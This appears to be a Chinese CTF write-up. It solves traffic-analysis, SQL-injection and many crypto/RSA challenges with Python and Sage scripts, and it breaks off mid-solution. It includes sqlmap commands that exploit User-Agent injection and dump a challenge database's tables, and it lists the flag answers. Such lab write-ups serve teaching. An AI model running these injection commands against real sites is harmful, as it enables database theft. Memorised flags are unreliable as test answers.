【无标题】

1.流量分析2

从http包可以看出来这是一个sql的盲注的流量包,我们都知道sql盲注是需要一个一个的去判断字符的,所以只用先找到sql注入找flag的第一个字符,后面的字符也可以找到了

CTRL+F可以打开匹配,正则匹配flag

可以看到flag是从第152493开始注入的,搜索2,1

可以看到第一个字符的值是102,对应的ASCII表是f.

搜索3,1

第二个字符的值是108,对应的ASCII表是l

搜索4,1

可以看到第三个字符的值是97,对应的ASCII表是a

如此类推下去,最后flag为flag{skysql_is_very_cool!233}

2.简简单单的sql

你能找到SQL吗,目录扫描

 访问login.php

 用了很多测试都没有发现注入点

用工具sqlmap做

先把bp抓的包复制到Linux里面

 用语句:sqlmap -r 1.txt --level 3

测试注入点

 注入点为User-Agent

爆数据库:sqlmap -r 1.txt --level 3 --current-db

 

 数据库为:challenges

爆数据库里面的表

sqlmap -r 1.txt --level 3 -D challenges -tables

 有两个表。user_agents和users

先看users表的字段:

sqlmap -r 1.txt --level 3 -D challenges -T users --columns

 分别是id,password,username,不像有flag的样子

读另一个表

sqlmap -r 1.txt --level 3 -D challenges -T user_agents --columns

 有id和user_agent两个字段,而且user_agent字段有40的设置

读取字段的内容

sqlmap -r 1.txt --level 3 -D challenges -T user_agents  -C user_agent --dump

 成功得到flag

3.crypto12

uozt{Zgyzhv_xlwv_uiln_xguhsld}

不用看了,没提示

atbash解码(埃特巴什)

4. crypto13

链接:百度网盘 请输入提取码 提取码:7mjw 格式flag{*****}

下载后是一个压缩包,里面有base.txt和.DS_Store文件

由于该base字符串非常长,所以需要用到脚本暴力破解

import string
import base64
with open('base.txt') as f:
    text = f.read()
while(1):
    try:
        text = base64.b64decode(text).decode()
    except Exception as e:
        try:
            text = base64.b32decode(text).decode()
        except Exception as e:
            try:
                text = base64.b16decode(text).decode()
            except Exception as e:
                break
print(text)

1.将base.txt文件的内容读取到text里面,

2.然后,进入一个无限循环,尝试使用 Base64、Base32 和 Base16 三种编码方式来解码 text 变量中的内容。

3.如果使用 Base64 编码方式解码成功,則将解码后的结果重新赋值给 text 变量,并继续下一次循环。

4.如果使用 Base64 编码方式解码失败,則尝试使用 Base32 编码方式解码。如果成功,則将解码后的结果重新赋值给 text 变量,并继续下一次循环。

5.如果使用 Base32 编码方式解码失败,則尝试使用 Base16 编码方式解码。如果成功,則将解码后的结果重新赋值给 text 变量,并继续下一次循环。

6.如果使用 Base16 编码方式解码失败,則退出循环,并打印出最终解码后的结果。

 最后输出flag:flag{b4Se_Fami1y_Is_FUn}

5.crypto14

感谢@星河皆灿烂提供的题目

00110011 00110011 00100000 00110100 00110101 00100000 00110101 00110000 00100000 00110010 01100110 00100000 00110011 00110011 00100000 00110101 00110110 00100000 00110100 01100101 00100000 00110100 00110110 00100000 00110100 00110110 00100000 00110110 01100100 00100000 00110100 01100101 00100000 00110100 00110101 00100000 00110100 00110001 00100000 00110110 01100101 00100000 00110110 01100011 00100000 00110100 00111000 00100000 00110100 00110100 00100000 00110011 00110101 00100000 00110110 00110100 00100000 00110100 00110011 00100000 00110100 01100100 00100000 00110110 01100100 00100000 00110101 00110110 00100000 00110100 00111000 00100000 00110100 00110100 00100000 00110011 00110101 00100000 00110110 00110001 00100000 00110110 00110100 00100000 00110011 00111001 00100000 00110111 00110101 00100000 00110100 00110111 00100000 00110000 01100001

第一眼看这是一串二进制编码,放CyberChef里自动解码

得到3EP/3VNFFmNEAnlHD5dCMmVHD5ad9uG

看着像base编码,但是解码都解不出来。

 看一下base64编码表,flag的base64编码是ZmxhZw==,对应25,38,49,33而3EP/是55,4,15,63,可能是对base64编码进行了偏移

脚本如下

s = '3EP/3VNFFmNEAnlHD5dCMmVHD5ad9uG'
flag_exp = 'Zmxh'  # flag{xxxx...} 开头的字符串的 base64 编码一定是 Zmxh 开头

import base64

base64_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


def base64_offset(text):
    '''
        计算 base64 表的偏移量
    '''
    global base64_table
    return base64_table.index(text)


def main():
    global base64_table

    # 计算偏移量
    diff = base64_offset(flag_exp[0]) - base64_offset(s[0])
    index = []
    for one in s:
        index.append(base64_offset(one) + diff)

    text = ''
    for i in index:
        text += base64_table[i]
    if len(text) % 4 != 0:
        text = text + "=" * (4 - (len(text) % 4))
    print(f'base64 解码结果:{text}')
    print(f'明文:{base64.b64decode(text).decode()}')


if __name__ == '__main__':
    main()

 先计算出偏移量,再通过偏移量得到可以解码的base64编码,解码得到明文flag

 6.萌新_密码5

由田中 由田井 羊夫 由田人 由中人 羊羊 由由王 由田中 由由大 由田工 由由由 由由羊 由中大

Unlock Hint for 0 points

群共享找 dumpcode.py

去进行搜索,是当铺密码,在线解码:

https://dsb.ink/ctf/dangpu.html

 得到十进制,转换为十六进制,再转换为字符串

 得到flag

也可以用脚本

s = '田由中人工大王夫井羊'
code = "由田中 由田井 羊夫 由田人 由中人 羊羊 由由王 由田中 由由大 由田工 由由由 由由羊 由中大"
code = code.split(" ")
w = ''
for i in code:
    k = ""
    for j in i:
        k += str(s.index(j))
    w += chr(int(k))
print(w)

 输出:

7.贝斯多少呢

8nCDq36gzGn8hf4M2HJUsn4aYcYRBSJwj4aE0hbgpzHb4aHcH1zzC9C3IL

Unlock Hint for 0 points

明文分段,然后没段base62,再拼起来

它给了一个提示,是该flag生成字符串的过程,可以对该字符串一段一段的进行base62解码

当试到8nCDq36gzGn的时候,输出第一段flag

8hf4M2HJUsn输出第二段flag

 4aYcYRBSJwj得到第三段flag

 4aE0hbgpzHb得到第四串

 4aHcH1zzC9C得到第五串

 3IL得到最后的

所以分段就是:

8nCDq36gzGn    8hf4M2HJUsn   4aYcYRBSJwj   4aE0hbgpzHb    4aHcH1zzC9C    3IL

 flag为:flag{6a5eb2_i5_u5ua11y_u5ed_f0r_5h0rt_ur1}

8.babyrsa

e = 65537
p = 104046835712664064779194734974271185635538927889880611929931939711001301561682270177931622974642789920918902563361293345434055764293612446888383912807143394009019803471816448923969637980671221111117965227402429634935481868701166522350570364727873283332371986860194245739423508566783663380619142431820861051179
q = 140171048074107988605773731671018901813928130582422889797732071529733091703843710859282267763783461738242958098610949120354497987945911021170842457552182880133642711307227072133812253341129830416158450499258216967879857581565380890788395068130033931180395926482431150295880926480086317733457392573931410220501
c = 4772758911204771028049020670778336799568778930072841084057809867608022732611295305096052430641881550781141776498904005589873830973301898523644744951545345404578466176725030290421649344936952480254902939417215148205735730754808467351639943474816280980230447097444682489223054499524197909719857300597157406075069204315022703894466226179507627070835428226086509767746759353822302809385047763292891543697277097068406512924796409393289982738071019047393972959228919115821862868057003145401072581115989680686073663259771587445250687060240991265143919857962047718344017741878925867800431556311785625469001771370852474292194

给了p,q,e,c就是简单的rsa算法计算m

代码如下:

from Crypto.Util.number import *
import gmpy2
p = 104046835712664064779194734974271185635538927889880611929931939711001301561682270177931622974642789920918902563361293345434055764293612446888383912807143394009019803471816448923969637980671221111117965227402429634935481868701166522350570364727873283332371986860194245739423508566783663380619142431820861051179
q = 140171048074107988605773731671018901813928130582422889797732071529733091703843710859282267763783461738242958098610949120354497987945911021170842457552182880133642711307227072133812253341129830416158450499258216967879857581565380890788395068130033931180395926482431150295880926480086317733457392573931410220501
e = 65537
c = 4772758911204771028049020670778336799568778930072841084057809867608022732611295305096052430641881550781141776498904005589873830973301898523644744951545345404578466176725030290421649344936952480254902939417215148205735730754808467351639943474816280980230447097444682489223054499524197909719857300597157406075069204315022703894466226179507627070835428226086509767746759353822302809385047763292891543697277097068406512924796409393289982738071019047393972959228919115821862868057003145401072581115989680686073663259771587445250687060240991265143919857962047718344017741878925867800431556311785625469001771370852474292194
n=p*q
L = (p-1)*(q-1)
d =gmpy2.invert(e,L)
m = pow(c,d,n)
print(long_to_bytes(m))

输出:

 9.easyrsa1

e = 65537
n = 1455925529734358105461406532259911790807347616464991065301847
c = 69380371057914246192606760686152233225659503366319332065009

 知道e,n,c求m

第一步先把n分解为p和q

 p=1201147059438530786835365194567

q=1212112637077862917192191913841

这样之后就和上一题一样了

代码:

from Crypto.Util.number import *
import gmpy2
p = 1201147059438530786835365194567
q = 1212112637077862917192191913841
e = 65537
c = 69380371057914246192606760686152233225659503366319332065009
n=p*q
L = (p-1)*(q-1)
d =gmpy2.invert(e,L)
m = pow(c,d,n)
print(long_to_bytes(m))

输出:

 10.easyrsa2

e = 65537
n = 23686563925537577753047229040754282953352221724154495390687358877775380147605152455537988563490716943872517593212858326146811511103311865753018329109314623702207073882884251372553225986112006827111351501044972239272200616871716325265416115038890805114829315111950319183189591283821793237999044427887934536835813526748759612963103377803089900662509399569819785571492828112437312659229879806168758843603248823629821851053775458651933952183988482163950039248487270453888288427540305542824179951734412044985364866532124803746008139763081886781361488304666575456680411806505094963425401175510416864929601220556158569443747
c = 1627484142237897613944607828268981193911417408064824540711945192035649088104133038147400224070588410335190662682231189997580084680424209495303078061205122848904648319219646588720994019249279863462981015329483724747823991513714172478886306703290044871781158393304147301058706003793357846922086994952763485999282741595204008663847963539422096343391464527068599046946279309037212859931303335507455146001390326550668531665493245293839009832468668390820282664984066399051403227990068032226382222173478078505888238749583237980643698405005689247922901342204142833875409505180847943212126302482358445768662608278731750064815

e = 65537
n = 22257605320525584078180889073523223973924192984353847137164605186956629675938929585386392327672065524338176402496414014083816446508860530887742583338880317478862512306633061601510404960095143941320847160562050524072860211772522478494742213643890027443992183362678970426046765630946644339093149139143388752794932806956589884503569175226850419271095336798456238899009883100793515744579945854481430194879360765346236418019384644095257242811629393164402498261066077339304875212250897918420427814000142751282805980632089867108525335488018940091698609890995252413007073725850396076272027183422297684667565712022199054289711
c = 2742600695441836559469553702831098375948641915409106976157840377978123912007398753623461112659796209918866985480471911393362797753624479537646802510420415039461832118018849030580675249817576926858363541683135777239322002741820145944286109172066259843766755795255913189902403644721138554935991439893850589677849639263080528599197595705927535430942463184891689410078059090474682694886420022230657661157993875931600932763824618773420077273617106297660195179922018875399174346863404710420166497017196424586116535915712965147141775026549870636328195690774259990189286665844641289108474834973710730426105047318959307995062

该题给了两组e,n,c.该题我是先解了第一个m,得到:flag{m0_bv_hv_sv},而且提交成功

解第二个m得到的也是:flag{m0_bv_hv_sv}

代码如下:

from Crypto.Util.number import *
import gmpy2
p = 149751992878258417619955913803349588855907883795437275015624379454686823076475394292360761230383018058515386650339444595246524276345367505681814522035068825010950620582957883108812048922184886717309007677307472277565963907119402324227023856527902596769190955018836727291623263893333224367236239361837356140243
q = 158171944628434297901073909637722153795182500207437382406943949068719041821522249518991083268349210029996372436712077867872196821502572326830142173784785697378334976861590406851563704862868317200039579262508714027560242806981225550090918382144776028695390747339519174603519115397094447596926441933797085906929
e = 65537
c = 1627484142237897613944607828268981193911417408064824540711945192035649088104133038147400224070588410335190662682231189997580084680424209495303078061205122848904648319219646588720994019249279863462981015329483724747823991513714172478886306703290044871781158393304147301058706003793357846922086994952763485999282741595204008663847963539422096343391464527068599046946279309037212859931303335507455146001390326550668531665493245293839009832468668390820282664984066399051403227990068032226382222173478078505888238749583237980643698405005689247922901342204142833875409505180847943212126302482358445768662608278731750064815
n=p*q
L = (p-1)*(q-1)
d =gmpy2.invert(e,L)
m = pow(c,d,n)
print(long_to_bytes(m))
from Crypto.Util.number import *
import gmpy2
p = 148629777091647844246796264243541316933219734934432518942362371402056651201924476622085034421034723763998765357939318936167411912678961237019833852640423223833408458277374583926678987391357358691970765804588287101985728943684133878401175077872266031328212861797034052872034250560671628711714389757777347537077
q = 149751992878258417619955913803349588855907883795437275015624379454686823076475394292360761230383018058515386650339444595246524276345367505681814522035068825010950620582957883108812048922184886717309007677307472277565963907119402324227023856527902596769190955018836727291623263893333224367236239361837356140243
e = 65537
c = 2742600695441836559469553702831098375948641915409106976157840377978123912007398753623461112659796209918866985480471911393362797753624479537646802510420415039461832118018849030580675249817576926858363541683135777239322002741820145944286109172066259843766755795255913189902403644721138554935991439893850589677849639263080528599197595705927535430942463184891689410078059090474682694886420022230657661157993875931600932763824618773420077273617106297660195179922018875399174346863404710420166497017196424586116535915712965147141775026549870636328195690774259990189286665844641289108474834973710730426105047318959307995062
n=p*q
L = (p-1)*(q-1)
d =gmpy2.invert(e,L)
m = pow(c,d,n)
print(long_to_bytes(m))

 正常情况下是不可以这样的,两个值都相当的巧合情况。正常解法是用到共模攻击

代码如下:

import gmpy2, libnum
from Crypto.Util.number import long_to_bytes


def get_p(a, b):
    p = gmpy2.gcd(a, b)
    return p


if __name__ == '__main__':
    n1 = 23686563925537577753047229040754282953352221724154495390687358877775380147605152455537988563490716943872517593212858326146811511103311865753018329109314623702207073882884251372553225986112006827111351501044972239272200616871716325265416115038890805114829315111950319183189591283821793237999044427887934536835813526748759612963103377803089900662509399569819785571492828112437312659229879806168758843603248823629821851053775458651933952183988482163950039248487270453888288427540305542824179951734412044985364866532124803746008139763081886781361488304666575456680411806505094963425401175510416864929601220556158569443747
    c1 = 1627484142237897613944607828268981193911417408064824540711945192035649088104133038147400224070588410335190662682231189997580084680424209495303078061205122848904648319219646588720994019249279863462981015329483724747823991513714172478886306703290044871781158393304147301058706003793357846922086994952763485999282741595204008663847963539422096343391464527068599046946279309037212859931303335507455146001390326550668531665493245293839009832468668390820282664984066399051403227990068032226382222173478078505888238749583237980643698405005689247922901342204142833875409505180847943212126302482358445768662608278731750064815
    n2 = 22257605320525584078180889073523223973924192984353847137164605186956629675938929585386392327672065524338176402496414014083816446508860530887742583338880317478862512306633061601510404960095143941320847160562050524072860211772522478494742213643890027443992183362678970426046765630946644339093149139143388752794932806956589884503569175226850419271095336798456238899009883100793515744579945854481430194879360765346236418019384644095257242811629393164402498261066077339304875212250897918420427814000142751282805980632089867108525335488018940091698609890995252413007073725850396076272027183422297684667565712022199054289711
    c2 = 2742600695441836559469553702831098375948641915409106976157840377978123912007398753623461112659796209918866985480471911393362797753624479537646802510420415039461832118018849030580675249817576926858363541683135777239322002741820145944286109172066259843766755795255913189902403644721138554935991439893850589677849639263080528599197595705927535430942463184891689410078059090474682694886420022230657661157993875931600932763824618773420077273617106297660195179922018875399174346863404710420166497017196424586116535915712965147141775026549870636328195690774259990189286665844641289108474834973710730426105047318959307995062
    e = 65537
    p = get_p(n1, n2)
    q1 = n1 // p
    q2 = n2 // p
    d1 = libnum.invmod(e, (p - 1) * (q1 - 1))
    d2 = libnum.invmod(e, (p - 1) * (q2 - 1))
    m1 = gmpy2.powmod(c1, d1, n1)
    m2 = gmpy2.powmod(c2, d2, n2)
    message = long_to_bytes(m1) + long_to_bytes(m2)
    print(message.decode())

 得到:

 提交这个是不正确的,该题只用提交一个,但一般这个类型的题都是提交最后结果的,关键在于出题人。

例如攻防世界的一个rsa题

 和这题原理是一模一样的,只是数值不同,它所输出的就是:

 11.easyrsa3

e = 797
n = 15944475431088053285580229796309956066521520107276817969079550919586650535459242543036143360865780730044733026945488511390818947440767542658956272380389388112372084760689777141392370253850735307578445988289714647332867935525010482197724228457592150184979819463711753058569520651205113690397003146105972408452854948512223702957303406577348717348753106868356995616116867724764276234391678899662774272419841876652126127684683752880568407605083606688884120054963974930757275913447908185712204577194274834368323239143008887554264746068337709465319106886618643849961551092377843184067217615903229068010117272834602469293571
c = 11157593264920825445770016357141996124368529899750745256684450189070288181107423044846165593218013465053839661401595417236657920874113839974471883493099846397002721270590059414981101686668721548330630468951353910564696445509556956955232059386625725883038103399028010566732074011325543650672982884236951904410141077728929261477083689095161596979213961494716637502980358298944316636829309169794324394742285175377601826473276006795072518510850734941703194417926566446980262512429590253643561098275852970461913026108090608491507300365391639081555316166526932233787566053827355349022396563769697278239577184503627244170930

e = 521
n = 15944475431088053285580229796309956066521520107276817969079550919586650535459242543036143360865780730044733026945488511390818947440767542658956272380389388112372084760689777141392370253850735307578445988289714647332867935525010482197724228457592150184979819463711753058569520651205113690397003146105972408452854948512223702957303406577348717348753106868356995616116867724764276234391678899662774272419841876652126127684683752880568407605083606688884120054963974930757275913447908185712204577194274834368323239143008887554264746068337709465319106886618643849961551092377843184067217615903229068010117272834602469293571
c = 6699274351853330023117840396450375948797682409595670560999898826038378040157859939888021861338431350172193961054314487476965030228381372659733197551597730394275360811462401853988404006922710039053586471244376282019487691307865741621991977539073601368892834227191286663809236586729196876277005838495318639365575638989137572792843310915220039476722684554553337116930323671829220528562573169295901496437858327730504992799753724465760161805820723578087668737581704682158991028502143744445435775458296907671407184921683317371216729214056381292474141668027801600327187443375858394577015394108813273774641427184411887546849

这题同样给了两组e,n,c。但是是n相同,分解n发现n是不可以分解的,采用共模攻击

上述两个密钥加密的密文c1,c2是由(n1,e1),(n2,e2)加密得到的,这个时候我们不需要计算d,可以直接解出密文m

根据RSA加密原理 我们可知:

    c1 = m^e1 % n
    c2 = m^e2 % n

若两个密钥e互素 根据扩展欧几里得算法,存在 s1、s2使得:

e1 * s1 + e2 * s2 = 1

因此,存在s1、s2 满足:

c1^s1 * c2^s2 mod n

≡  (m^e1)^s1 * (m^e2)^s2 mod n

≡  m^(e1+s1+e2+s2) mod n       

≡  m mod n

因此便可不需要d 利用 c1 c2 e1 e2求解明文m  这就是共模攻击的原理。

代码如下:

import gmpy2
from Crypto.Util.number import *
 
e1 = 797
e2 = 521
c1 = 11157593264920825445770016357141996124368529899750745256684450189070288181107423044846165593218013465053839661401595417236657920874113839974471883493099846397002721270590059414981101686668721548330630468951353910564696445509556956955232059386625725883038103399028010566732074011325543650672982884236951904410141077728929261477083689095161596979213961494716637502980358298944316636829309169794324394742285175377601826473276006795072518510850734941703194417926566446980262512429590253643561098275852970461913026108090608491507300365391639081555316166526932233787566053827355349022396563769697278239577184503627244170930
c2 = 6699274351853330023117840396450375948797682409595670560999898826038378040157859939888021861338431350172193961054314487476965030228381372659733197551597730394275360811462401853988404006922710039053586471244376282019487691307865741621991977539073601368892834227191286663809236586729196876277005838495318639365575638989137572792843310915220039476722684554553337116930323671829220528562573169295901496437858327730504992799753724465760161805820723578087668737581704682158991028502143744445435775458296907671407184921683317371216729214056381292474141668027801600327187443375858394577015394108813273774641427184411887546849
n = 15944475431088053285580229796309956066521520107276817969079550919586650535459242543036143360865780730044733026945488511390818947440767542658956272380389388112372084760689777141392370253850735307578445988289714647332867935525010482197724228457592150184979819463711753058569520651205113690397003146105972408452854948512223702957303406577348717348753106868356995616116867724764276234391678899662774272419841876652126127684683752880568407605083606688884120054963974930757275913447908185712204577194274834368323239143008887554264746068337709465319106886618643849961551092377843184067217615903229068010117272834602469293571
 
_, s1, s2 = gmpy2.gcdext(e1,e2)
m = pow(c1,s1,n)*pow(c2,s2,n) %n
print(long_to_bytes(m))

输出:

12.easyrsa4

e = 3
n = 18970053728616609366458286067731288749022264959158403758357985915393383117963693827568809925770679353765624810804904382278845526498981422346319417938434861558291366738542079165169736232558687821709937346503480756281489775859439254614472425017554051177725143068122185961552670646275229009531528678548251873421076691650827507829859299300272683223959267661288601619845954466365134077547699819734465321345758416957265682175864227273506250707311775797983409090702086309946790711995796789417222274776215167450093735639202974148778183667502150202265175471213833685988445568819612085268917780718945472573765365588163945754761
c = 150409620528139732054476072280993764527079006992643377862720337847060335153837950368208902491767027770946661

给了e,n,c.第一步分解n,但是发现n不可分解。

但是发现e=3,特别小,当加密指数很小的时候可以采用小明文攻击,而且可以发现密文c的位数比n的位数少很多,明文过小,明文的加密指数(e)次方任然小于n.

这种直接对密文开e次方就可以得到明文m.

代码如下:

import gmpy2
from Crypto.Util.number import *

e = 3
c = 150409620528139732054476072280993764527079006992643377862720337847060335153837950368208902491767027770946661
m = gmpy2.iroot(c, 3)[0]
print(long_to_bytes(m))

 输出:

 13.easyrsa5

e = 284100478693161642327695712452505468891794410301906465434604643365855064101922252698327584524956955373553355814138784402605517536436009073372339264422522610010012877243630454889127160056358637599704871937659443985644871453345576728414422489075791739731547285138648307770775155312545928721094602949588237119345
n = 468459887279781789188886188573017406548524570309663876064881031936564733341508945283407498306248145591559137207097347130203582813352382018491852922849186827279111555223982032271701972642438224730082216672110316142528108239708171781850491578433309964093293907697072741538649347894863899103340030347858867705231
c = 350429162418561525458539070186062788413426454598897326594935655762503536409897624028778814302849485850451243934994919418665502401195173255808119461832488053305530748068788500746791135053620550583421369214031040191188956888321397450005528879987036183922578645840167009612661903399312419253694928377398939392827

这题给了e,n,c.但是这题的e就特别大,第一步还是先看n能不能够去分解

n分解为:

p=1848932739605573339721619323612813839776502828861379303502130559930138013667327250408422592244732819005905679957567952974717041052102175277835219391448987

q=2533677279032425895211762250453713944288112026976038396199179560184658577202865528712760553670210656524156997774484665833049279421936394718949688217533213
既然n可以分解,我首先想的还是简单的rsa加密算法计算m。但是由于加密指数e过于大,选择采用低解密指数攻击-----维纳攻击。

维纳攻击详细解说:https://blog.csdn.net/weixin_51086098/article/details/123767540

代码如下:

import gmpy2
import RSAwienerHacker
from Crypto.Util.number import *

e = 284100478693161642327695712452505468891794410301906465434604643365855064101922252698327584524956955373553355814138784402605517536436009073372339264422522610010012877243630454889127160056358637599704871937659443985644871453345576728414422489075791739731547285138648307770775155312545928721094602949588237119345
c = 350429162418561525458539070186062788413426454598897326594935655762503536409897624028778814302849485850451243934994919418665502401195173255808119461832488053305530748068788500746791135053620550583421369214031040191188956888321397450005528879987036183922578645840167009612661903399312419253694928377398939392827
n = 468459887279781789188886188573017406548524570309663876064881031936564733341508945283407498306248145591559137207097347130203582813352382018491852922849186827279111555223982032271701972642438224730082216672110316142528108239708171781850491578433309964093293907697072741538649347894863899103340030347858867705231


d = RSAwienerHacker.hack_RSA(e, n)
m = gmpy2.powmod(c, d, n)
print("d:", d)
print(long_to_bytes(m))

输出:

 注意该代码文件需要和维纳攻击下载的代码在同一目录下

14.easyrsa6

附件内容:

import gmpy2,libnum
from Crypto.Util.number import getPrime
from secret import flag

e = 0x10001
p = getPrime(1024)
q = gmpy2.next_prime(p)
n = p * q
print("n =",n)
m = libnum.s2n(flag)
c = pow(m,e,n)
print("c =", c)

# n = 26737417831000820542131903300607349805884383394154602685589253691058592906354935906805134188533804962897170211026684453428204518730064406526279112572388086653330354347467824800159214965211971007509161988095657918569122896402683130342348264873834798355125176339737540844380018932257326719850776549178097196650971801959829891897782953799819540258181186971887122329746532348310216818846497644520553218363336194855498009339838369114649453618101321999347367800581959933596734457081762378746706371599215668686459906553007018812297658015353803626409606707460210905216362646940355737679889912399014237502529373804288304270563
# c = 18343406988553647441155363755415469675162952205929092244387144604220598930987120971635625205531679665588524624774972379282080365368504475385813836796957675346369136362299791881988434459126442243685599469468046961707420163849755187402196540739689823324440860766040276525600017446640429559755587590377841083082073283783044180553080312093936655426279610008234238497453986740658015049273023492032325305925499263982266317509342604959809805578180715819784421086649380350482836529047761222588878122181300629226379468397199620669975860711741390226214613560571952382040172091951384219283820044879575505273602318856695503917257

分解n,得到

p=163515803000813412334620775647541652549604895368507102613553057136855632963322853570924931001138446030409251690646645635800254129997200577719209532684847732809399187385176309169421205833279943214621695444496660249881675974141488357432373412184140130503562295159152949524373214358417567189638680209172147385163

q=163515803000813412334620775647541652549604895368507102613553057136855632963322853570924931001138446030409251690646645635800254129997200577719209532684847732809399187385176309169421205833279943214621695444496660249881675974141488357432373412184140130503562295159152949524373214358417567189638680209172147385801

代码为:

from Crypto.Util.number import *
import gmpy2
p = 163515803000813412334620775647541652549604895368507102613553057136855632963322853570924931001138446030409251690646645635800254129997200577719209532684847732809399187385176309169421205833279943214621695444496660249881675974141488357432373412184140130503562295159152949524373214358417567189638680209172147385163
q = 163515803000813412334620775647541652549604895368507102613553057136855632963322853570924931001138446030409251690646645635800254129997200577719209532684847732809399187385176309169421205833279943214621695444496660249881675974141488357432373412184140130503562295159152949524373214358417567189638680209172147385801
e = 0x10001
c = 18343406988553647441155363755415469675162952205929092244387144604220598930987120971635625205531679665588524624774972379282080365368504475385813836796957675346369136362299791881988434459126442243685599469468046961707420163849755187402196540739689823324440860766040276525600017446640429559755587590377841083082073283783044180553080312093936655426279610008234238497453986740658015049273023492032325305925499263982266317509342604959809805578180715819784421086649380350482836529047761222588878122181300629226379468397199620669975860711741390226214613560571952382040172091951384219283820044879575505273602318856695503917257
n=p*q
L = (p-1)*(q-1)
d =gmpy2.invert(e,L)
m = pow(c,d,n)
print(long_to_bytes(m))

 看了其他师傅的还可以把这题分为pq相等

因为pq的生成方式

p = getPrime(1024)

q = gmpy2.next_prime(p)

两个数相差不大,即p约等于q,n=p*q约等于p的平方

代码如下:

import gmpy2
from Crypto.Util.number import *
e = 0x10001
n = 26737417831000820542131903300607349805884383394154602685589253691058592906354935906805134188533804962897170211026684453428204518730064406526279112572388086653330354347467824800159214965211971007509161988095657918569122896402683130342348264873834798355125176339737540844380018932257326719850776549178097196650971801959829891897782953799819540258181186971887122329746532348310216818846497644520553218363336194855498009339838369114649453618101321999347367800581959933596734457081762378746706371599215668686459906553007018812297658015353803626409606707460210905216362646940355737679889912399014237502529373804288304270563
c = 18343406988553647441155363755415469675162952205929092244387144604220598930987120971635625205531679665588524624774972379282080365368504475385813836796957675346369136362299791881988434459126442243685599469468046961707420163849755187402196540739689823324440860766040276525600017446640429559755587590377841083082073283783044180553080312093936655426279610008234238497453986740658015049273023492032325305925499263982266317509342604959809805578180715819784421086649380350482836529047761222588878122181300629226379468397199620669975860711741390226214613560571952382040172091951384219283820044879575505273602318856695503917257
 
p = gmpy2.next_prime(gmpy2.iroot(n,2)[0])
q = n//p
 
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(long_to_bytes(m))

 输出:

 15.easyrsa7

e = 0x10001
p>>128<<128 = 0xd1c520d9798f811e87f4ff406941958bab8fc24b19a32c3ad89b0b73258ed3541e9ca696fd98ce15255264c39ae8c6e8db5ee89993fa44459410d30a0a8af700ae3aee8a9a1d6094f8c757d3b79a8d1147e85be34fb260a970a52826c0a92b46cefb5dfaf2b5a31edf867f8d34d2222900000000000000000000000000000000
n = 0x79e0bf9b916e59286163a1006f8cefd4c1b080387a6ddb98a3f3984569a4ebb48b22ac36dff7c98e4ebb90ffdd9c07f53a20946f57634fb01f4489fcfc8e402865e152820f3e2989d4f0b5ef1fb366f212e238881ea1da017f754d7840fc38236edba144674464b661d36cdaf52d1e5e7c3c21770c5461a7c1bc2db712a61d992ebc407738fc095cd8b6b64e7e532187b11bf78a8d3ddf52da6f6a67c7e88bef5563cac1e5ce115f3282d5ff9db02278859f63049d1b934d918f46353fea1651d96b2ddd874ec8f1e4b9d487d8849896d1c21fb64029f0d6f47e560555b009b96bfd558228929a6cdf3fb6d47a956829fb1e638fcc1bdfad4ec2c3590dea1ed3
c = 0x1b2b4f9afed5fb5f9876757e959c183c2381ca73514b1918d2f123e386bebe9832835350f17ac439ac570c9b2738f924ef49afea02922981fad702012d69ea3a3c7d1fc8efc80e541ca2622d7741090b9ccd590906ac273ffcc66a7b8c0d48b7d62d6cd6dd4cd75747c55aac28f8be3249eb255d8750482ebf492692121ab4b27b275a0f69b15baef20bf812f3cbf581786128b51694331be76f80d6fb1314d8b280eaa16c767821b9c2ba05dfde5451feef22ac3cb3dfbc88bc1501765506f0c05045184292a75c475486b680f726f44ef8ddfe3c48f75bb03c8d44198ac70e6b7c885f53000654db22c8cee8eb4f65eaeea2da13887aaf53d8c254d2945691

p>>128<<128 的意思是把p向右移128位,再向左移128,这样做之后得到的p后面有很多0

p低位数据缺失,利用sagemath恢复p

代码:

p = 0xd1c520d9798f811e87f4ff406941958bab8fc24b19a32c3ad89b0b73258ed3541e9ca696fd98ce15255264c39ae8c6e8db5ee89993fa44459410d30a0a8af700ae3aee8a9a1d6094f8c757d3b79a8d1147e85be34fb260a970a52826c0a92b46cefb5dfaf2b5a31edf867f8d34d2222900000000000000000000000000000000
 
n = 0x79e0bf9b916e59286163a1006f8cefd4c1b080387a6ddb98a3f3984569a4ebb48b22ac36dff7c98e4ebb90ffdd9c07f53a20946f57634fb01f4489fcfc8e402865e152820f3e2989d4f0b5ef1fb366f212e238881ea1da017f754d7840fc38236edba144674464b661d36cdaf52d1e5e7c3c21770c5461a7c1bc2db712a61d992ebc407738fc095cd8b6b64e7e532187b11bf78a8d3ddf52da6f6a67c7e88bef5563cac1e5ce115f3282d5ff9db02278859f63049d1b934d918f46353fea1651d96b2ddd874ec8f1e4b9d487d8849896d1c21fb64029f0d6f47e560555b009b96bfd558228929a6cdf3fb6d47a956829fb1e638fcc1bdfad4ec2c3590dea1ed3
 
kbits = 128
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits,beta=0.1)[0]
print(p+int(x0))

 没有安装sagemath可以用在线网站:https://sagecell.sagemath.org/

 求得p=147305526294483975294006704928271118039370615054437206404408410848858740256154476278591035455064149531353089038270283281541411458250950936656537283482331598521457077465891874559349872035197398406708610440618635013091489698011474611145014167945729411970665381793142591665313979405475889978830728651549052207969

就可以求出m,代码为:

import gmpy2
from Crypto.Util.number import *

e = 0x10001
p = 147305526294483975294006704928271118039370615054437206404408410848858740256154476278591035455064149531353089038270283281541411458250950936656537283482331598521457077465891874559349872035197398406708610440618635013091489698011474611145014167945729411970665381793142591665313979405475889978830728651549052207969
